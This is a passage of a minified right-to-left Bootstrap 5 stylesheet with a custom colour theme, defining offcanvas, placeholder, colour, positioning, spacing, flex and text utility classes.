--bs-spinner-animation-speed: 1.5s; } } .offcanvas-sm, .offcanvas-md, .offcanvas-lg, .offcanvas-xl, .offcanvas-xxl, .offcanvas { --bs-offcanvas-zindex: 1045; --bs-offcanvas-width: 360px; --bs-offcanvas-height: 33vh; --bs-offcanvas-padding-x: 1.25rem; --bs-offcanvas-padding-y: 1.25rem; --bs-offcanvas-color: ; --bs-offcanvas-bg: #ffffff; --bs-offcanvas-border-width: 1px; --bs-offcanvas-border-color: rgba(0, 0, 0, 0.2); --bs-offcanvas-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); } @media (max-width: 575.98px) { .offcanvas-sm { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 575.98px) and (prefers-reduced-motion: reduce) { .offcanvas-sm { transition: none; } } @media (max-width: 575.98px) { .offcanvas-sm.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-sm.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-sm.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-sm.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-sm.showing, .offcanvas-sm.show:not(.hiding) { transform: none; } .offcanvas-sm.showing, .offcanvas-sm.hiding, .offcanvas-sm.show { visibility: visible; } } @media (min-width: 576px) { .offcanvas-sm { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-sm .offcanvas-header { display: none; } .offcanvas-sm .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 767.98px) { .offcanvas-md { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 767.98px) and (prefers-reduced-motion: reduce) { .offcanvas-md { transition: none; } } @media (max-width: 767.98px) { .offcanvas-md.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-md.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-md.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-md.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-md.showing, .offcanvas-md.show:not(.hiding) { transform: none; } .offcanvas-md.showing, .offcanvas-md.hiding, .offcanvas-md.show { visibility: visible; } } @media (min-width: 768px) { .offcanvas-md { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-md .offcanvas-header { display: none; } .offcanvas-md .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 991.98px) { .offcanvas-lg { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 991.98px) and (prefers-reduced-motion: reduce) { .offcanvas-lg { transition: none; } } @media (max-width: 991.98px) { .offcanvas-lg.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-lg.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-lg.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-lg.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-lg.showing, .offcanvas-lg.show:not(.hiding) { transform: none; } .offcanvas-lg.showing, .offcanvas-lg.hiding, .offcanvas-lg.show { visibility: visible; } } @media (min-width: 992px) { .offcanvas-lg { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-lg .offcanvas-header { display: none; } .offcanvas-lg .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1199.98px) { .offcanvas-xl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1199.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xl { transition: none; } } @media (max-width: 1199.98px) { .offcanvas-xl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xl.showing, .offcanvas-xl.show:not(.hiding) { transform: none; } .offcanvas-xl.showing, .offcanvas-xl.hiding, .offcanvas-xl.show { visibility: visible; } } @media (min-width: 1200px) { .offcanvas-xl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xl .offcanvas-header { display: none; } .offcanvas-xl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1399.98px) { .offcanvas-xxl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1399.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xxl { transition: none; } } @media (max-width: 1399.98px) { .offcanvas-xxl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xxl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xxl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xxl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xxl.showing, .offcanvas-xxl.show:not(.hiding) { transform: none; } .offcanvas-xxl.showing, .offcanvas-xxl.hiding, .offcanvas-xxl.show { visibility: visible; } } @media (min-width: 1400px) { .offcanvas-xxl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xxl .offcanvas-header { display: none; } .offcanvas-xxl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } .offcanvas { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } @media (prefers-reduced-motion: reduce) { .offcanvas { transition: none; } } .offcanvas.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas.showing, .offcanvas.show:not(.hiding) { transform: none; } .offcanvas.showing, .offcanvas.hiding, .offcanvas.show { visibility: visible; } .offcanvas-backdrop { position: fixed; top: 0; left: 0; z-index: 1040; width: 100vw; height: 100vh; background-color: #000; } .offcanvas-backdrop.fade { opacity: 0; } .offcanvas-backdrop.show { opacity: 0.5; } .offcanvas-header { display: flex; align-items: center; justify-content: space-between; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); } .offcanvas-header .btn-close { padding: calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5); margin-top: calc(-.5 * var(--bs-offcanvas-padding-y)); margin-right: calc(-.5 * var(--bs-offcanvas-padding-x)); margin-bottom: calc(-.5 * var(--bs-offcanvas-padding-y)); } .offcanvas-title { margin-bottom: 0; line-height: 1.5; } .offcanvas-body { flex-grow: 1; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); overflow-y: auto; } .placeholder { display: inline-block; min-height: 1em; vertical-align: middle; cursor: wait; background-color: currentcolor; opacity: 0.5; } .placeholder.btn::before { display: inline-block; content: ""; } .placeholder-xs { min-height: .6em; } .placeholder-sm { min-height: .8em; } .placeholder-lg { min-height: 1.2em; } .placeholder-glow .placeholder { animation: placeholder-glow 2s ease-in-out infinite; } @keyframes placeholder-glow { 50% { opacity: 0.2; } } .placeholder-wave { -webkit-mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); -webkit-mask-size: 200% 100%; mask-size: 200% 100%; animation: placeholder-wave 2s linear infinite; } @keyframes placeholder-wave { 100% { -webkit-mask-position: -200% 0%; mask-position: -200% 0%; } } .clearfix::after { display: block; clear: both; content: ""; } .text-bg-primary { color: #ffffff !important; background-color: RGBA(81, 69, 157, var(--bs-bg-opacity, 1)) !important; } .text-bg-secondary { color: #ffffff !important; background-color: RGBA(108, 117, 125, var(--bs-bg-opacity, 1)) !important; } .text-bg-success { color: #ffffff !important; background-color: RGBA(111, 217, 67, var(--bs-bg-opacity, 1)) !important; } .text-bg-info { color: #ffffff !important; background-color: RGBA(62, 201, 214, var(--bs-bg-opacity, 1)) !important; } .text-bg-warning { color: #ffffff !important; background-color: RGBA(255, 162, 29, var(--bs-bg-opacity, 1)) !important; } .text-bg-danger { color: #ffffff !important; background-color: RGBA(255, 58, 110, var(--bs-bg-opacity, 1)) !important; } .text-bg-light { color: #212529 !important; background-color: RGBA(248, 249, 250, var(--bs-bg-opacity, 1)) !important; } .text-bg-dark { color: #ffffff !important; background-color: RGBA(28, 35, 47, var(--bs-bg-opacity, 1)) !important; } .link-primary { color: #51459d !important; } .link-primary:hover, .link-primary:focus { color: #41377e !important; } .link-secondary { color: #6c757d !important; } .link-secondary:hover, .link-secondary:focus { color: #565e64 !important; } .link-success { color: #6fd943 !important; } .link-success:hover, .link-success:focus { color: #59ae36 !important; } .link-info { color: #3ec9d6 !important; } .link-info:hover, .link-info:focus { color: #32a1ab !important; } .link-warning { color: #ffa21d !important; } .link-warning:hover, .link-warning:focus { color: #cc8217 !important; } .link-danger { color: #ff3a6e !important; } .link-danger:hover, .link-danger:focus { color: #cc2e58 !important; } .link-light { color: #f8f9fa !important; } .link-light:hover, .link-light:focus { color: #f9fafb !important; } .link-dark { color: #1c232f !important; } .link-dark:hover, .link-dark:focus { color: #161c26 !important; } .ratio { position: relative; width: 100%; } .ratio::before { display: block; padding-top: var(--bs-aspect-ratio); content: ""; } .ratio > * { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .ratio-1x1 { --bs-aspect-ratio: 100%; } .ratio-4x3 { --bs-aspect-ratio: calc(3 / 4 * 100%); } .ratio-16x9 { --bs-aspect-ratio: calc(9 / 16 * 100%); } .ratio-21x9 { --bs-aspect-ratio: calc(9 / 21 * 100%); } .fixed-top { position: fixed; top: 0; right: 0; left: 0; z-index: 1030; } .fixed-bottom { position: fixed; right: 0; bottom: 0; left: 0; z-index: 1030; } .sticky-top { position: sticky; top: 0; z-index: 1020; } .sticky-bottom { position: sticky; bottom: 0; z-index: 1020; } @media (min-width: 576px) { .sticky-sm-top { position: sticky; top: 0; z-index: 1020; } .sticky-sm-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 768px) { .sticky-md-top { position: sticky; top: 0; z-index: 1020; } .sticky-md-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 992px) { .sticky-lg-top { position: sticky; top: 0; z-index: 1020; } .sticky-lg-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1200px) { .sticky-xl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xl-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1400px) { .sticky-xxl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xxl-bottom { position: sticky; bottom: 0; z-index: 1020; } } .hstack { display: flex; flex-direction: row; align-items: center; align-self: stretch; } .vstack { display: flex; flex: 1 1 auto; flex-direction: column; align-self: stretch; } .visually-hidden, .visually-hidden-focusable:not(:focus):not(:focus-within) { position: absolute !important; width: 1px !important; height: 1px !important; padding: 0 !important; margin: -1px !important; overflow: hidden !important; clip: rect(0, 0, 0, 0) !important; white-space: nowrap !important; border: 0 !important; } .stretched-link::after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; content: ""; } .text-truncate { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .vr { display: inline-block; align-self: stretch; width: 1px; min-height: 1em; background-color: currentcolor; opacity: 1; } .align-baseline { vertical-align: baseline !important; } .align-top { vertical-align: top !important; } .align-middle { vertical-align: middle !important; } .align-bottom { vertical-align: bottom !important; } .align-text-bottom { vertical-align: text-bottom !important; } .align-text-top { vertical-align: text-top !important; } .float-start { float: right !important; } .float-end { float: left !important; } .float-none { float: none !important; } .opacity-0 { opacity: 0 !important; } .opacity-25 { opacity: 0.25 !important; } .opacity-50 { opacity: 0.5 !important; } .opacity-75 { opacity: 0.75 !important; } .opacity-100 { opacity: 1 !important; } .overflow-auto { overflow: auto !important; } .overflow-hidden { overflow: hidden !important; } .overflow-visible { overflow: visible !important; } .overflow-scroll { overflow: scroll !important; } .d-inline { display: inline !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .d-grid { display: grid !important; } .d-table { display: table !important; } .d-table-row { display: table-row !important; } .d-table-cell { display: table-cell !important; } .d-flex { display: flex !important; } .d-inline-flex { display: inline-flex !important; } .d-none { display: none !important; } .shadow { box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important; } .shadow-sm { box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important; } .shadow-lg { box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important; } .shadow-none { box-shadow: none !important; } .position-static { position: static !important; } .position-relative { position: relative !important; } .position-absolute { position: absolute !important; } .position-fixed { position: fixed !important; } .position-sticky { position: sticky !important; } .top-0 { top: 0 !important; } .top-50 { top: 50% !important; } .top-100 { top: 100% !important; } .bottom-0 { bottom: 0 !important; } .bottom-50 { bottom: 50% !important; } .bottom-100 { bottom: 100% !important; } .start-0 { right: 0 !important; } .start-50 { right: 50% !important; } .start-100 { right: 100% !important; } .end-0 { left: 0 !important; } .end-50 { left: 50% !important; } .end-100 { left: 100% !important; } .translate-middle { transform: translate(-50%, -50%) !important; } .translate-middle-x { transform: translateX(-50%) !important; } .translate-middle-y { transform: translateY(-50%) !important; } .border { border: 1px solid #f1f1f1 !important; } .border-0 { border: 0 !important; } .border-top { border-top: 1px solid #f1f1f1 !important; } .border-top-0 { border-top: 0 !important; } .border-end { border-left: 1px solid #f1f1f1 !important; } .border-end-0 { border-left: 0 !important; } .border-bottom { border-bottom: 1px solid #f1f1f1 !important; } .border-bottom-0 { border-bottom: 0 !important; } .border-start { border-right: 1px solid #f1f1f1 !important; } .border-start-0 { border-right: 0 !important; } .border-primary { border-color: #51459d !important; } .border-secondary { border-color: #6c757d !important; } .border-success { border-color: #6fd943 !important; } .border-info { border-color: #3ec9d6 !important; } .border-warning { border-color: #ffa21d !important; } .border-danger { border-color: #ff3a6e !important; } .border-light { border-color: #f8f9fa !important; } .border-dark { border-color: #1c232f !important; } .border-white { border-color: #ffffff !important; } .border-0 { border-width: 0 !important; } .border-1 { border-width: 1px !important; } .border-2 { border-width: 2px !important; } .border-3 { border-width: 3px !important; } .border-4 { border-width: 4px !important; } .border-5 { border-width: 5px !important; } .border-opacity-10 { --bs-border-opacity: 0.1; } .border-opacity-25 { --bs-border-opacity: 0.25; } .border-opacity-50 { --bs-border-opacity: 0.5; } .border-opacity-75 { --bs-border-opacity: 0.75; } .border-opacity-100 { --bs-border-opacity: 1; } .w-25 { width: 25% !important; } .w-50 { width: 50% !important; } .w-75 { width: 75% !important; } .w-100 { width: 100% !important; } .w-auto { width: auto !important; } .mw-100 { max-width: 100% !important; } .vw-100 { width: 100vw !important; } .min-vw-100 { min-width: 100vw !important; } .h-25 { height: 25% !important; } .h-50 { height: 50% !important; } .h-75 { height: 75% !important; } .h-100 { height: 100% !important; } .h-auto { height: auto !important; } .mh-100 { max-height: 100% !important; } .vh-100 { height: 100vh !important; } .min-vh-100 { min-height: 100vh !important; } .flex-fill { flex: 1 1 auto !important; } .flex-row { flex-direction: row !important; } .flex-column { flex-direction: column !important; } .flex-row-reverse { flex-direction: row-reverse !important; } .flex-column-reverse { flex-direction: column-reverse !important; } .flex-grow-0 { flex-grow: 0 !important; } .flex-grow-1 { flex-grow: 1 !important; } .flex-shrink-0 { flex-shrink: 0 !important; } .flex-shrink-1 { flex-shrink: 1 !important; } .flex-wrap { flex-wrap: wrap !important; } .flex-nowrap { flex-wrap: nowrap !important; } .flex-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-start { justify-content: flex-end !important; } .justify-content-end { justify-content: flex-start !important; } .justify-content-center { justify-content: center !important; } .justify-content-between { justify-content: space-between !important; } .justify-content-around { justify-content: space-around !important; } .justify-content-evenly { justify-content: space-evenly !important; } .align-items-start { align-items: flex-start !important; } .align-items-end { align-items: flex-end !important; } .align-items-center { align-items: center !important; } .align-items-baseline { align-items: baseline !important; } .align-items-stretch { align-items: stretch !important; } .align-content-start { align-content: flex-end !important; } .align-content-end { align-content: flex-start !important; } .align-content-center { align-content: center !important; } .align-content-between { align-content: space-between !important; } .align-content-around { align-content: space-around !important; } .align-content-stretch { align-content: stretch !important; } .align-self-auto { align-self: auto !important; } .align-self-start { align-self: flex-end !important; } .align-self-end { align-self: flex-start !important; } .align-self-center { align-self: center !important; } .align-self-baseline { align-self: baseline !important; } .align-self-stretch { align-self: stretch !important; } .order-first { order: -1 !important; } .order-0 { order: 0 !important; } .order-1 { order: 1 !important; } .order-2 { order: 2 !important; } .order-3 { order: 3 !important; } .order-4 { order: 4 !important; } .order-5 { order: 5 !important; } .order-last { order: 6 !important; } .m-0 { margin: 0 !important; } .m-1 { margin: 0.25rem !important; } .m-2 { margin: 0.5rem !important; } .m-3 { margin: 1rem !important; } .m-4 { margin: 1.5rem !important; } .m-5 { margin: 3rem !important; } .m-auto { margin: auto !important; } .mx-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-auto { margin-right: auto !important; margin-left: auto !important; } .my-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-0 { margin-top: 0 !important; } .mt-1 { margin-top: 0.25rem !important; } .mt-2 { margin-top: 0.5rem !important; } .mt-3 { margin-top: 1rem !important; } .mt-4 { margin-top: 1.5rem !important; } .mt-5 { margin-top: 3rem !important; } .mt-auto { margin-top: auto !important; } .me-0 { margin-left: 0 !important; } .me-1 { margin-left: 0.25rem !important; } .me-2 { margin-left: 0.5rem !important; } .me-3 { margin-left: 1rem !important; } .me-4 { margin-left: 1.5rem !important; } .me-5 { margin-left: 3rem !important; } .me-auto { margin-left: auto !important; } .mb-0 { margin-bottom: 0 !important; } .mb-1 { margin-bottom: 0.25rem !important; } .mb-2 { margin-bottom: 0.5rem !important; } .mb-3 { margin-bottom: 1rem !important; } .mb-4 { margin-bottom: 1.5rem !important; } .mb-5 { margin-bottom: 3rem !important; } .mb-auto { margin-bottom: auto !important; } .ms-0 { margin-right: 0 !important; } .ms-1 { margin-right: 0.25rem !important; } .ms-2 { margin-right: 0.5rem !important; } .ms-3 { margin-right: 1rem !important; } .ms-4 { margin-right: 1.5rem !important; } .ms-5 { margin-right: 3rem !important; } .ms-auto { margin-right: auto !important; } .m-n1 { margin: -0.25rem !important; } .m-n2 { margin: -0.5rem !important; } .m-n3 { margin: -1rem !important; } .m-n4 { margin: -1.5rem !important; } .m-n5 { margin: -3rem !important; } .mx-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-n1 { margin-top: -0.25rem !important; } .mt-n2 { margin-top: -0.5rem !important; } .mt-n3 { margin-top: -1rem !important; } .mt-n4 { margin-top: -1.5rem !important; } .mt-n5 { margin-top: -3rem !important; } .me-n1 { margin-left: -0.25rem !important; } .me-n2 { margin-left: -0.5rem !important; } .me-n3 { margin-left: -1rem !important; } .me-n4 { margin-left: -1.5rem !important; } .me-n5 { margin-left: -3rem !important; } .mb-n1 { margin-bottom: -0.25rem !important; } .mb-n2 { margin-bottom: -0.5rem !important; } .mb-n3 { margin-bottom: -1rem !important; } .mb-n4 { margin-bottom: -1.5rem !important; } .mb-n5 { margin-bottom: -3rem !important; } .ms-n1 { margin-right: -0.25rem !important; } .ms-n2 { margin-right: -0.5rem !important; } .ms-n3 { margin-right: -1rem !important; } .ms-n4 { margin-right: -1.5rem !important; } .ms-n5 { margin-right: -3rem !important; } .p-0 { padding: 0 !important; } .p-1 { padding: 0.25rem !important; } .p-2 { padding: 0.5rem !important; } .p-3 { padding: 1rem !important; } .p-4 { padding: 1.5rem !important; } .p-5 { padding: 3rem !important; } .px-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-0 { padding-top: 0 !important; } .pt-1 { padding-top: 0.25rem !important; } .pt-2 { padding-top: 0.5rem !important; } .pt-3 { padding-top: 1rem !important; } .pt-4 { padding-top: 1.5rem !important; } .pt-5 { padding-top: 3rem !important; } .pe-0 { padding-left: 0 !important; } .pe-1 { padding-left: 0.25rem !important; } .pe-2 { padding-left: 0.5rem !important; } .pe-3 { padding-left: 1rem !important; } .pe-4 { padding-left: 1.5rem !important; } .pe-5 { padding-left: 3rem !important; } .pb-0 { padding-bottom: 0 !important; } .pb-1 { padding-bottom: 0.25rem !important; } .pb-2 { padding-bottom: 0.5rem !important; } .pb-3 { padding-bottom: 1rem !important; } .pb-4 { padding-bottom: 1.5rem !important; } .pb-5 { padding-bottom: 3rem !important; } .ps-0 { padding-right: 0 !important; } .ps-1 { padding-right: 0.25rem !important; } .ps-2 { padding-right: 0.5rem !important; } .ps-3 { padding-right: 1rem !important; } .ps-4 { padding-right: 1.5rem !important; } .ps-5 { padding-right: 3rem !important; } .gap-0 { gap: 0 !important; } .gap-1 { gap: 0.25rem !important; } .gap-2 { gap: 0.5rem !important; } .gap-3 { gap: 1rem !important; } .gap-4 { gap: 1.5rem !important; } .gap-5 { gap: 3rem !important; } .font-monospace { font-family: var(--bs-font-monospace) !important; } .fs-1 { font-size: calc(1.35rem + 1.2vw) !important; } .fs-2 { font-size: calc(1.3rem + 0.6vw) !important; } .fs-3 { font-size: calc(1.275rem + 0.3vw) !important; } .fs-4 { font-size: 1.25rem !important; } .fs-5 { font-size: 1rem !important; } .fs-6 { font-size: 0.9375rem !important; } .fst-italic { font-style: italic !important; } .fst-normal { font-style: normal !important; } .fw-light { font-weight: 300 !important; } .fw-lighter { font-weight: lighter !important; } .fw-normal { font-weight: 400 !important; } .fw-bold { font-weight: 700 !important; } .fw-bolder { font-weight: bolder !important; } .lh-1 { line-height: 1 !important; } .lh-sm { line-height: 1.25 !important; } .lh-base { line-height: 1.5 !important; } .lh-lg { line-height: 2 !important; } .text-start { text-align: right !important; } .text-end { text-align: left !important; } .text-center { text-align: center !important; } .text-decoration-none { text-decoration: none !important; } .text-decoration-underline { text-decoration: underline !important; } .text-decoration-line-through { text-decoration: line-through !important; } .text-lowercase { text-transform: lowercase !important; } .text-uppercase { text-transform: uppercase !important; } .text-capitalize { text-transform: capitalize !important; } .text-wrap { white-space: normal !important; } .text-nowrap { white-space: nowrap !important; } /* rtl:begin:remove */ .text-break { word-wrap: break-word !important; word-break: break-word !important; } /* rtl:end:remove */ .text-primary { --bs-text-opacity: 1; color: rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important; } .text-secondary { --bs-text-opacity: 1; color: rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important; } .text-success { --bs-text-opacity: 1; color: rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important; } .text-info { --bs-text-opacity: 1; color: rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important; } .text-warning { --bs-text-opacity: 1; color: rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important; } .text-danger { --bs-text-opacity: 1; color: rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important; } .text-light { --bs-text-opacity: 1; color: rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important; } .text-dark { --bs-text-opacity: 1; color: rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important; } .text-black { --bs-text-opacity: 1; color: 